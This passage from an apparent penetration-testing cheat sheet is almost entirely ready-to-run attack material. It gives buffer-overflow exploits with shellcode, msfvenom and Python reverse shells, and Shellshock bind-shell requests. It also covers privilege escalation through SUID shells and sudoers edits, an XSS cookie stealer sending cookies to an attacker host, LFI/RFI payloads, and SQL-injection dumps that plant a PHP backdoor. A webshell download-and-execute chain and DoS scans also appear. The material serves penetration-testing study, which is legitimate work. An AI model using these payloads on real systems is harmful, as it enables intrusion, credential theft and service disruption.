the environment `uname -a` - List processes running `ps -xaf` - List the allowed (and forbidden) commands for the invoking use `sudo -l` - List iptables rules `iptables --table nat --list iptables -vL -t filter iptables -vL -t nat iptables -vL -t mangle iptables -vL -t raw iptables -vL -t security` - Windows OS Enumeration - net config Workstation - systeminfo | findstr /B /C:"OS Name" /C:"OS Version" - hostname - net users - ipconfig /all - route print - arp -A - netstat -ano - netsh firewall show state - netsh firewall show config - schtasks /query /fo LIST /v - tasklist /SVC - net start - DRIVERQUERY - reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated - reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated - dir /s *pass* == *cred* == *vnc* == *.config* - findstr /si password *.xml *.ini *.txt - reg query HKLM /f password /t REG_SZ /s - reg query HKCU /f password /t REG_SZ /s - Vulnerability Scanning with Nmap - Nmap Exploit Scripts [*https://nmap.org/nsedoc/categories/exploit.html*](https://nmap.org/nsedoc/categories/exploit.html) - Nmap search through vulnerability scripts `cd /usr/share/nmap/scripts/ ls -l \*vuln\*` - Nmap search through Nmap Scripts for a specific keyword `ls /usr/share/nmap/scripts/\* | grep ftp` - Scan for vulnerable exploits with nmap `nmap --script exploit -Pn $ip` - NMap Auth Scripts [*https://nmap.org/nsedoc/categories/auth.html*](https://nmap.org/nsedoc/categories/auth.html) - Nmap Vuln Scanning [*https://nmap.org/nsedoc/categories/vuln.html*](https://nmap.org/nsedoc/categories/vuln.html) - NMap DOS Scanning `nmap --script dos -Pn $ip NMap Execute DOS Attack nmap --max-parallelism 750 -Pn --script http-slowloris --script-args http-slowloris.runforever=true` - Scan for coldfusion web vulnerabilities `nmap -v -p 80 --script=http-vuln-cve2010-2861 $ip` - Anonymous FTP dump with Nmap `nmap -v -p 21 --script=ftp-anon.nse $ip-254` - SMB Security mode scan with Nmap `nmap -v -p 21 --script=ftp-anon.nse $ip-254` - File Enumeration - Find UID 0 files root execution - `/usr/bin/find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \\; 2&gt;/dev/null` - Get handy linux file system enumeration script (/var/tmp) `wget <https://highon.coffee/downloads/linux-local-enum.sh> ` `chmod +x ./linux-local-enum.sh ` `./linux-local-enum.sh` - Find executable files updated in August `find / -executable -type f 2&gt; /dev/null | egrep -v "^/bin|^/var|^/etc|^/usr" | xargs ls -lh | grep Aug` - Find a specific file on linux `find /. -name suid\*` - Find all the strings in a file `strings &lt;filename&gt;` - Determine the type of a file `file &lt;filename&gt;` - HTTP Enumeration ---------------- - Search for folders with gobuster: `gobuster -w /usr/share/wordlists/dirb/common.txt -u $ip` - OWasp DirBuster - Http folder enumeration - can take a dictionary file - Dirb - Directory brute force finding using a dictionary file `dirb http://$ip/ wordlist.dict ` `dirb <http://vm/> ` Dirb against a proxy - `dirb [http://$ip/](http://172.16.0.19/) -p $ip:3129` - Nikto `nikto -h $ip` - HTTP Enumeration with NMAP `nmap --script=http-enum -p80 -n $ip/24` - Nmap Check the server methods `nmap --script http-methods --script-args http-methods.url-path='/test' $ip` - Get Options available from web server `curl -vX OPTIONS vm/test` - Uniscan directory finder: `uniscan -qweds -u <http://vm/>` - Wfuzz - The web brute forcer `wfuzz -c -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?FUZZ=test ` `wfuzz -c --hw 114 -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?page=FUZZ ` `wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt "$ip:60080/?page=mailer&mail=FUZZ"` <!-- --> - Open a service using a port knock (Secured with Knockd) for x in 7000 8000 9000; do nmap -Pn --host\_timeout 201 --max-retries 0 -p $x server\_ip\_address; done - WordPress Scan - Wordpress security scanner - wpscan --url $ip/blog --proxy $ip:3129 - RSH Enumeration - Unencrypted file transfer system - auxiliary/scanner/rservices/rsh\_login - Finger Enumeration - finger @$ip - finger batman@$ip - TLS & SSL Testing - ./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U $ip | aha &gt; OUTPUT-FILE.html - Proxy Enumeration (useful for open proxies) - nikto -useproxy http://$ip:3128 -h $ip - Steganography > apt-get install steghide > > steghide extract -sf picture.jpg > > steghide info picture.jpg > > apt-get install stegosuite - The OpenVAS Vulnerability Scanner - apt-get update apt-get install openvas openvas-setup - netstat -tulpn - Login at: https://$ip:9392 Buffer Overflows and Exploits =================================================================================================================================== - DEP and ASLR - Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR) - MSFvenom [*https://www.offensive-security.com/metasploit-unleashed/msfvenom/*](https://www.offensive-security.com/metasploit-unleashed/msfvenom/) - Windows Buffer Overflows - Controlling EIP - locate pattern\_create - pattern\_create.rb -l 2700 - locate pattern\_offset - pattern\_offset.rb -q 39694438 - Verify exact location of EIP - \[\*\] Exact match at offset 2606 - buffer = "A" \* 2606 + "B" \* 4 + "C" \* 90 - Check for “Bad Characters” - Run multiple times 0x00 - 0xFF - Use Mona to determine a module that is unprotected - Bypass DEP if present by finding a Memory Location with Read and Execute access for JMP ESP - Otherwise without DEP, we can stick our - Use NASM to determine the HEX code for a JMP ESP instruction - /usr/share/metasploit-framework/tools/exploit/nasm\_shell.rb - JMP ESP 00000000 FFE4 jmp esp - Run Mona in immunity log window to find (FFE4) XEF command - !mona find -s "\\xff\\xe4" -m slmfc.dll found at 0x5f4a358f - Flip around for little endian format - buffer = "A" \* 2606 + "\\x8f\\x35\\x4a\\x5f" + "C" \* 390 - MSFVenom to create payload msfvenom -p windows/shell\_reverse\_tcp LHOST=$ip LPORT=443 -f c –e x86/shikata\_ga\_nai -b "\\x00\\x0a\\x0d" - Final Payload with NOP slide buffer="A"\*2606 + "\\x8f\\x35\\x4a\\x5f" + "\\x90" \* 8 + shellcode - Create a PE Reverse Shell msfvenom -p windows/shell\_reverse\_tcp LHOST=$ip LPORT=4444 -f exe -o shell\_reverse.exe - Create a PE Reverse Shell and Encode 9 times with Shikata\_ga\_nai msfvenom -p windows/shell\_reverse\_tcp LHOST=$ip LPORT=4444 -f exe -e x86/shikata\_ga\_nai -i 9 -o shell\_reverse\_msf\_encoded.exe - Create a PE reverse shell and embed it into an existing executable msfvenom -p windows/shell\_reverse\_tcp LHOST=$ip LPORT=4444 -f exe -e x86/shikata\_ga\_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell\_reverse\_msf\_encoded\_embedded.exe - Create a PE Reverse HTTPS shell msfvenom -p windows/meterpreter/reverse\_https LHOST=$ip LPORT=443 -f exe -o met\_https\_reverse.exe - Linux Buffer Overflows - Run Evans Debugger against an app edb --run /usr/games/crossfire/bin/crossfire - ESP register points toward the end of our CBuffer add eax,12 jmp eax 83C00C add eax,byte +0xc FFE0 jmp eax - Check for “Bad Characters” Process of elimination - Run multiple times 0x00 - 0xFF - Find JMP ESP address "\\x97\\x45\\x13\\x08" \# Found at Address 08134597 - crash = "\\x41" \* 4368 + "\\x97\\x45\\x13\\x08" + "\\x83\\xc0\\x0c\\xff\\xe0\\x90\\x90" - msfvenom -p linux/x86/shell\_bind\_tcp LPORT=4444 -f c -b "\\x00\\x0a\\x0d\\x20" –e x86/shikata\_ga\_nai - Connect to the shell with netcat: nc -v $ip 4444 Shells =============================================================================================================================== - Netcat Shell Listener nc -nlvp 443 - Spawning a TTY Shell - Break out of Jail or limited shell You should almost always upgrade your shell after taking control of an apache or www user. (For example when you encounter an error message when trying to run an exploit sh: no job control in this shell ) (hint: sudo -l to see what you can run) - python -c 'import pty; pty.spawn("/bin/sh")' - python -c 'import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM); s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(\["/bin/sh","-i"\]);' - echo os.system('/bin/bash') - /bin/sh -i - perl —e 'exec "/bin/sh";' - perl: exec "/bin/sh"; - ruby: exec "/bin/sh" - lua: os.execute('/bin/sh') - (From within IRB) exec "/bin/sh" - (From within vi) :!bash - From within vim Breaking out of vim is done by ':!bash': - (From within vi) :set shell=/bin/bash:shell - (From within nmap) !sh - (From within tcpdump) echo $’id\\n/bin/netcat $ip 443 –e /bin/bash’ &gt; /tmp/.test chmod +x /tmp/.test sudo tcpdump –ln –I eth- -w /dev/null –W 1 –G 1 –z /tmp/.tst –Z root - from busybox /bin/busybox telnetd -|/bin/sh -p9999 - Pen test monkey PHP reverse shell [*http://pentestmonkey.net/tools/web-shells/php-reverse-shel*](http://pentestmonkey.net/tools/web-shells/php-reverse-shell) - php-findsock-shell - turns PHP port 80 into an interactive shell [*http://pentestmonkey.net/tools/web-shells/php-findsock-shell*](http://pentestmonkey.net/tools/web-shells/php-findsock-shell) - Perl Reverse Shell [*http://pentestmonkey.net/tools/web-shells/perl-reverse-shell*](http://pentestmonkey.net/tools/web-shells/perl-reverse-shell) - PHP powered web browser Shell b374k with file upload etc. [*https://github.com/b374k/b374k*](https://github.com/b374k/b374k) - Windows reverse shell - PowerSploit’s Invoke-Shellcode script and inject a Meterpreter shell https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1 - Web Backdoors from Fuzzdb ( https://github.com/fuzzdb-project/fuzzdb/tree/master/web-backdoors - Creating Meterpreter Shells with MSFVenom - http://www.securityunlocked.com/2016/01/02/network-security-pentesting/most-useful-msfvenom-payloads/ *Linux* msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf *Windows* msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe *Mac* msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho **Web Payloads** *PHP* msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php *ASP* msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp *JSP* msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp *WAR* msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war **Scripting Payloads** *Python* msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py *Bash* msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh *Perl* msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl **Shellcode** For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits. *Linux Based Shellcode* msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language> *Windows Based Shellcode* msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language> *Mac Based Shellcode* msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language> **Handlers** Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format. use exploit/multi/handler set PAYLOAD <Payload name> set LHOST <LHOST value> set LPORT <LPORT value> set ExitOnSession false exploit -j -z Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘ - SSH to Meterpreter: use auxiliary/scanner/ssh/ssh_login use post/multi/manage/shell_to_meterpreter https://daemonchild.com/2015/08/10/got-ssh-creds-want-meterpreter-try-this/ - Compiling Windows Exploits on Kali - wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download wine mingw-get-setup.exe select mingw32-base - cd /root/.wine/drive\_c/windows wget http://gojhonny.com/misc/mingw\_bin.zip && unzip mingw\_bin.zip cd /root/.wine/drive\_c/MinGW/bin wine gcc -o ability.exe /tmp/exploit.c -lwsock32 wine ability.exe - Cross Compiling Exploits - gcc -m32 -o output32 hello.c (32 bit) gcc -m64 -o output hello.c (64 bit) - Shellshock - git clone <https://github.com/nccgroup/shocker> - ./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose - Shell Shock SSH Forced Command Check for forced command by enabling all debug output with ssh ssh -vvv ssh -i noob noob@$ip '() { :;}; /bin/bash' - cat file (view file contents) echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () { :;}; echo \\$(&lt;/etc/passwd)\\r\\nHost: vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc TARGET 80 - Shell Shock run bind shell echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\\r\\nHost: vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc TARGET 80 - Shell Shock reverse Shell nc -l -p 443 - Buffer Overflow Exploits - Pass 1000 A’s as a parameter ./r00t $(python -c 'print "A" \* 1000') - Random Pattern Create /usr/share/metasploit-framework/tools\# ruby pattern\_create.rb 1000 - Determine Pattern offset ruby pattern\_offset.rb 0x6a413969 - Pass shell with offset value env - ./r00t $(python -c 'print "A"\*268 + "\\x80\\xfc\\xff\\xbf" + "\\x90"\*16 + "\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80"') \# id - From Fuzzing to Zero Day https://blog.techorganic.com/2014/05/14/from-fuzzing-to-0-day/ - Nmap Fuzzers: - NMap Fuzzer List [*https://nmap.org/nsedoc/categories/fuzzer.html*](https://nmap.org/nsedoc/categories/fuzzer.html) - NMap HTTP Form Fuzzer nmap --script http-form-fuzzer --script-args 'http-form-fuzzer.targets={1={path=/},2={path=/register.html}}' -p 80 $ip - Nmap DNS Fuzzer nmap --script dns-fuzz --script-args timelimit=2h $ip -d File Transfers ============================================================================================================ - Post exploitation refers to the actions performed by an attacker, once some level of control has been gained on his target. - Simple Local Web Servers - Run a basic http server, great for serving up shells etc python -m SimpleHTTPServer 80 - Run a basic Python3 http server, great for serving up shells etc python3 -m http.server - Run a ruby webrick basic http server ruby -rwebrick -e "WEBrick::HTTPServer.new (:Port =&gt; 80, :DocumentRoot =&gt; Dir.pwd).start" - Run a basic PHP http server php -S $ip:80 - Creating a wget VB Script on Windows: [*https://github.com/erik1o6/oscp/blob/master/wget-vbs-win.txt*](https://github.com/erik1o6/oscp/blob/master/wget-vbs-win.txt) - Mounting File Shares - Mount NFS share to /mnt/nfs mount $ip:/vol/share /mnt/nfs - HTTP Put nmap -p80 $ip --script http-put --script-args http-put.url='/test/sicpwn.php',http-put.file='/var/www/html/sicpwn.php - Uploading Files ------------------------------------------------------------------------------------------------------------- - SCP scp username1@source_host:directory1/filename1 username2@destination_host:directory2/filename2 scp localfile username@$ip:~/Folder/ - Webdav with Davtest- Some sysadmins are kind enough to enable the PUT method - This tool will auto upload a backdoor `davtest -move -sendbd auto -url http://$ip` https://github.com/cldrn/davtest You can also upload a file using the PUT method with the curl command: `curl -T 'leetshellz.txt' 'http://$ip'` And rename it to an executable file using the MOVE method with the curl command: `curl -X MOVE --header 'Destination:http://$ip/leetshellz.php' 'http://$ip/leetshellz.txt'` - Upload shell using limited php shell cmd use the webshell to download and execute the meterpreter \[curl -s --data "cmd=wget http://174.0.42.42:8000/dhn -O /tmp/evil" http://$ip/files/sh.php \[curl -s --data "cmd=chmod 777 /tmp/evil" http://$ip/files/sh.php curl -s --data "cmd=bash -c /tmp/evil" http://$ip/files/sh.php - TFTP mkdir /tftp atftpd --daemon --port 69 /tftp cp /usr/share/windows-binaries/nc.exe /tftp/ EX. FROM WINDOWS HOST: C:\\Users\\Offsec&gt;tftp -i $ip get nc.exe - FTP apt-get update && apt-get install pure-ftpd \#!/bin/bash groupadd ftpgroup useradd -g ftpgroup -d /dev/null -s /etc ftpuser pure-pw useradd offsec -u ftpuser -d /ftphome pure-pw mkdb cd /etc/pure-ftpd/auth/ ln -s ../conf/PureDB 60pdb mkdir -p /ftphome chown -R ftpuser:ftpgroup /ftphome/ /etc/init.d/pure-ftpd restart - Packing Files ------------------------------------------------------------------------------------------------------------- - Ultimate Packer for eXecutables upx -9 nc.exe - exe2bat - Converts EXE to a text file that can be copied and pasted locate exe2bat wine exe2bat.exe nc.exe nc.txt - Veil - Evasion Framework - https://github.com/Veil-Framework/Veil-Evasion apt-get -y install git git clone https://github.com/Veil-Framework/Veil-Evasion.git cd Veil-Evasion/ cd setup setup.sh -c Privilege Escalation ================================================================================================================== - Linux Privilege Escalation ------------------------------------------------------------------------------------------------------------------------ - Try the obvious - Maybe the user can sudo to root: sudo su - Highon.coffee Linux Local Enum `wget https://highon.coffee/downloads/linux-local-enum.sh` - Basic Linux Privilege Escalation [*https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/*](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - Linux Privilege Exploit Suggester [*https://github.com/PenturaLabs/Linux\_Exploit\_Suggester*](https://github.com/PenturaLabs/Linux_Exploit_Suggester) - Linux post exploitation enumeration and exploit checking tools [*https://github.com/reider-roque/linpostexp*](https://github.com/reider-roque/linpostexp) - CVE-2010-3904 - Linux RDS Exploit - Linux Kernel &lt;= 2.6.36-rc8 [*https://www.exploit-db.com/exploits/15285/*](https://www.exploit-db.com/exploits/15285/) - CVE-2012-0056 - Mempodipper - Linux Kernel 2.6.39 &lt; 3.2.2 (Gentoo / Ubuntu x86/x64) [*https://git.zx2c4.com/CVE-2012-0056/about/*](https://git.zx2c4.com/CVE-2012-0056/about/) Linux CVE 2012-0056 wget -O exploit.c <http://www.exploit-db.com/download/18411> gcc -o mempodipper exploit.c ./mempodipper - CVE-2016-5195 - Dirty Cow - Linux Privilege Escalation - Linux Kernel &lt;= 3.19.0-73.8 [*https://dirtycow.ninja/*](https://dirtycow.ninja/) First existed on 2.6.22 (released in 2007) and was fixed on Oct 18, 2016 ./cow32 DirtyCow root privilege escalation Backing up /usr/bin/passwd.. to /tmp/bak Size of binary: 45420 Racing, this may take a while.. thread stopped thread stopped /usr/bin/passwd is overwritten Popping root shell. - Run a command as a user other than root sudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf - Add a user or change a password /usr/sbin/useradd -p 'openssl passwd -1 thePassword' haxzor echo thePassword | passwd haxzor --stdin - Local Privilege Escalation Exploit in Linux - **SUID** (**S**et owner **U**ser **ID** up on execution) Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required. below are some quick copy and paste examples for various shells: SUID C Shell for /bin/bash int main(void){ setresuid(0, 0, 0); system("/bin/bash"); } SUID C Shell for /bin/sh int main(void){ setresuid(0, 0, 0); system("/bin/sh"); } Building the SUID Shell binary gcc -o suid suid.c For 32 bit: gcc -m32 -o suid suid.c - Create and compile an SUID from a limited shell (no file transfer) echo "int main(void){\\nsetgid(0); setuid(0);\\nsystem(\\"/bin/sh\\");\\n}" &gt;privsc.c gcc privsc.c -o privsc - Add users to Root SUDO group with no password requirement echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" &gt;&gt; /etc/sudoers && chmod 440 /etc/sudoers' &gt; /tmp/update - SearchSploit searchsploit –uncsearchsploit apache 2.2 searchsploit "Linux Kernel" searchsploit linux 2.6 | grep -i ubuntu | grep local searchsploit slmail - Kernel Exploit Suggestions for Kernel Version 3.0.0 ./usr/share/linux-exploit-suggester/Linux\_Exploit\_Suggester.pl -k 3.0.0 - Precompiled Linux Kernel Exploits - ***Super handy if GCC is not installed on the target machine!*** [*https://www.kernel-exploits.com/*](https://www.kernel-exploits.com/) - Collect root password cat /etc/shadow |grep root - Find and display the proof.txt or flag.txt - LOOT! `cat ``find / -name proof.txt -print``` - Windows Privilege Escalation -------------------------------------------------------------------------------------------------------------------------- - Windows Privilege Escalation resource http://www.fuzzysecurity.com/tutorials/16.html - Try the getsystem command using meterpreter - rarely works but is worth a try. `meterpreter > getsystem` - Metasploit Meterpreter Privilege Escalation Guide https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/ - Windows MS11-080 - http://www.exploit-db.com/exploits/18176/ python pyinstaller.py --onefile ms11-080.py mx11-080.exe -O XP - Powershell Priv Escalation Tools https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc - Windows Service Configuration Viewer - Check for misconfigurations in services that can lead to privilege escalation. You can replace the executable with your own and have windows execute whatever code you want as the privileged user. icacls scsiaccess.exe > scsiaccess.exe > NT AUTHORITY\\SYSTEM:(I)(F) > BUILTIN\\Administrators:(I)(F) > BUILTIN\\Users:(I)(RX) > APPLICATION PACKAGE AUTHORITY\\ALL APPLICATION PACKAGES:(I)(RX) > Everyone:(I)(F) - Compile a custom add user command in windows using C root@kali:~\# cat useradd.c \#include &lt;stdlib.h&gt; /\* system, NULL, EXIT\_FAILURE \*/ int main () { int i; i=system ("net localgroup administrators low /add"); return 0; } i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c - Group Policy Preferences (GPP) A common useful misconfiguration found in modern domain environments is unprotected Windows GPP settings files - map the Domain controller SYSVOL share net use z: \\\\dc01\\SYSVOL - Find the GPP file: Groups.xml dir /s Groups.xml - Review the contents for passwords type Groups.xml - Decrypt using GPP Decrypt gpp-decrypt riBZpPtHOGtVk+SdLOmJ6xiNgFH6Gp45BoP3I6AnPgZ1IfxtgI67qqZfgh78kBZB - Find and display the proof.txt or flag.txt - get the loot! `#meterpreter > run post/windows/gather/win_privs` `cd\ & dir /b /s proof.txt` `type c:\pathto\proof.txt` Client, Web and Password Attacks ============================================================================================================================== - <span id="_pcjm0n4oppqx" class="anchor"><span id="_Toc480741817" class="anchor"></span></span>Client Attacks ------------------------------------------------------------------------------------------------------------ - MS12-037- Internet Explorer 8 Fixed Col Span ID wget -O exploit.html <http://www.exploit-db.com/download/24017> service apache2 start - JAVA Signed Jar client side attack echo '&lt;applet width="1" height="1" id="Java Secure" code="Java.class" archive="SignedJava.jar"&gt;&lt;param name="1" value="http://$ip:80/evil.exe"&gt;&lt;/applet&gt;' &gt; /var/www/html/java.html User must hit run on the popup that occurs. - Linux Client Shells [*http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/*](http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/) - Setting up the Client Side Exploit - Swapping Out the Shellcode - Injecting a Backdoor Shell into Plink.exe backdoor-factory -f /usr/share/windows-binaries/plink.exe -H $ip -P 4444 -s reverse\_shell\_tcp - <span id="_n6fr3j21cp1m" class="anchor"><span id="_Toc480741818" class="anchor"></span></span>Web Attacks --------------------------------------------------------------------------------------------------------- - Web Shag Web Application Vulnerability Assessment Platform webshag-gui - Web Shells [*http://tools.kali.org/maintaining-access/webshells*](http://tools.kali.org/maintaining-access/webshells) ls -l /usr/share/webshells/ - Generate a PHP backdoor (generate) protected with the given password (s3cr3t) weevely generate s3cr3t weevely http://$ip/weevely.php s3cr3t - Java Signed Applet Attack - HTTP / HTTPS Webserver Enumeration - OWASP Dirbuster - nikto -h $ip - Essential Iceweasel Add-ons Cookies Manager https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/ Tamper Data https://addons.mozilla.org/en-US/firefox/addon/tamper-data/ - Cross Site Scripting (XSS) significant impacts, such as cookie stealing and authentication bypass, redirecting the victim’s browser to a malicious HTML page, and more - Browser Redirection and IFRAME Injection &lt;iframe SRC="http://$ip/report" height = "0" width ="0"&gt;&lt;/iframe&gt; - Stealing Cookies and Session Information &lt;script&gt; new image().src="http://$ip/bogus.php?output="+document.cookie; &lt;/script&gt; nc -nlvp 80 - File Inclusion Vulnerabilities ----------------------------------------------------------------------------------------------------------------------------- - Local (LFI) and remote (RFI) file inclusion vulnerabilities are commonly found in poorly written PHP code. - fimap - There is a Python tool called fimap which can be leveraged to automate the exploitation of LFI/RFI vulnerabilities that are found in PHP (sqlmap for LFI): [*https://github.com/kurobeats/fimap*](https://github.com/kurobeats/fimap) - Gaining a shell from phpinfo() fimap + phpinfo() Exploit - If a phpinfo() file is present, it’s usually possible to get a shell, if you don’t know the location of the phpinfo file fimap can probe for it, or you could use a tool like OWASP DirBuster. - For Local File Inclusions look for the include() function in PHP code. include("lang/".$\_COOKIE\['lang'\]); include($\_GET\['page'\].".php"); - LFI - Encode and Decode a file using base64 curl -s http://$ip/?page=php://filter/convert.base64-encode/resource=index | grep -e '\[^\\ \]\\{40,\\}' | base64 -d - LFI - Download file with base 64 encoding [*http://$ip/index.php?page=php://filter/convert.base64-encode/resource=admin.php*](about:blank) - LFI Linux Files: /etc/issue /proc/version /etc/profile /etc/passwd /etc/passwd /etc/shadow /root/.bash\_history /var/log/dmessage /var/mail/root /var/spool/cron/crontabs/root - LFI Windows Files: %SYSTEMROOT%\\repair\\system %SYSTEMROOT%\\repair\\SAM %SYSTEMROOT%\\repair\\SAM %WINDIR%\\win.ini %SYSTEMDRIVE%\\boot.ini %WINDIR%\\Panther\\sysprep.inf %WINDIR%\\system32\\config\\AppEvent.Evt - LFI OSX Files: /etc/fstab /etc/master.passwd /etc/resolv.conf /etc/sudoers /etc/sysctl.conf - LFI - Download passwords file [*http://$ip/index.php?page=/etc/passwd*](about:blank) [*http://$ip/index.php?file=../../../../etc/passwd*](about:blank) - LFI - Download passwords file with filter evasion [*http://$ip/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd*](about:blank) - Local File Inclusion - In versions of PHP below 5.3 we can terminate with null byte GET /addguestbook.php?name=Haxor&comment=Merci!&LANG=../../../../../../../windows/system32/drivers/etc/hosts%00 - Contaminating Log Files &lt;?php echo shell\_exec($\_GET\['cmd'\]);?&gt; - For a Remote File Inclusion look for php code that is not sanitized and passed to the PHP include function and the php.ini file must be configured to allow remote files /etc/php5/cgi/php.ini - “allow\_url\_fopen” and “allow\_url\_include both set to “on” include($\_REQUEST\["file"\].".php"); - Remote File Inclusion [http://$ip/addguestbook.php?name=a&comment=b&LANG=http://$localip/evil.txt](http://192.168.11.35/addguestbook.php?name=a&comment=b&LANG=http://192.168.10.5/evil.txt) &lt;?php echo shell\_exec("ipconfig");?&gt; - <span id="_mgu7e3u7svak" class="anchor"><span id="_Toc480741820" class="anchor"></span></span>Database Vulnerabilities ---------------------------------------------------------------------------------------------------------------------- - MySQL SQL - Grab password hashes from a web application mysql database called “Users” - once you have the MySQL root username and password mysql -u root -p -h $ip use "Users" show tables; select \* from users; - Authentication Bypass name='wronguser' or 1=1;\# name='wronguser' or 1=1 LIMIT 1;\# - Enumerating the Database [http://$ip/comment.php?id=738](http://192.168.11.35/comment.php?id=738)’ Verbose error message? http://$ip/comment.php?id=738 order by 1 http://$ip/comment.php?id=738 union all select 1,2,3,4,5,6 Determine MySQL Version: http://$ip/comment.php?id=738 union all select 1,2,3,4,@@version,6 current user being used for the database connection http://$ip/comment.php?id=738 union all select 1,2,3,4,user(),6 we can enumerate database tables and column structures http://$ip/comment.php?id=738 union all select 1,2,3,4,table\_name,6 FROM information\_schema.tables target the users table in the database http://$ip/comment.php?id=738 union all select 1,2,3,4,column\_name,6 FROM information\_schema.columns where table\_name='users' extract the name and password http://$ip/comment.php?id=738 union select 1,2,3,4,concat(name,0x3a, password),6 FROM users Create a backdoor http://$ip/comment.php?id=738 union all select 1,2,3,4,"&lt;?php echo shell\_exec($\_GET\['cmd'\]);?&gt;",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php' - SQLMap Examples - Crawl the links sqlmap -u http://$ip --crawl=1 sqlmap -u http://meh.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3 - SQLMap Search for databases against a suspected GET SQL Injection point ‘search’** sqlmap –u http://$ip/blog/index.php?search –dbs - SQLMap dump tables from database oscommerce at GET SQL injection point ‘search’ sqlmap –u http://$ip/blog/index.php?search= –dbs –D oscommerce –tables –dumps - SQLMap GET Parameter command sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --dump -threads=5 - SQLMap Post Username parameter sqlmap -u http://$ip/login.php --method=POST --data="[email protected]&password=1231" -p "usermail" --risk=3 --level=5 --dbms=MySQL --dump-all - SQL Map OS Shell sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --osshell sqlmap -u http://$ip/login.php --method=POST --data="[email protected]&password=1231" -p "usermail" --risk=3 --level=5 --dbms=MySQL --os-shell - Automated sqlmap scan sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/blah.php" - Targeted sqlmap scan sqlmap -u "http://meh.com/meh.php?id=1" --dbms=mysql --tech=U --random-agent --dump - Scan url for union + error based injection with mysql backend and use a random user agent + database dump sqlmap -o -u http://$ip/index.php --forms --dbs sqlmap -o -u "http://$ip/form/" --forms sqlmap check form for injection sqlmap -o -u "http://$ip/vuln-form" --forms -D database-name -T users --dump sqlmap dump and crack hashes for table users on database-name. Enumerate databases sqlmap --dbms=mysql -u "$URL" --dbs Enumerate tables from a specific database sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables Dump table data from a specific database and table sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump Specify parameter to exploit sqlmap --dbms=mysql -u "http://www.example.com/param1=value1&param2=value2" --dbs -p param2 Specify parameter to exploit in 'nice' URIs sqlmap --dbms=mysql -u 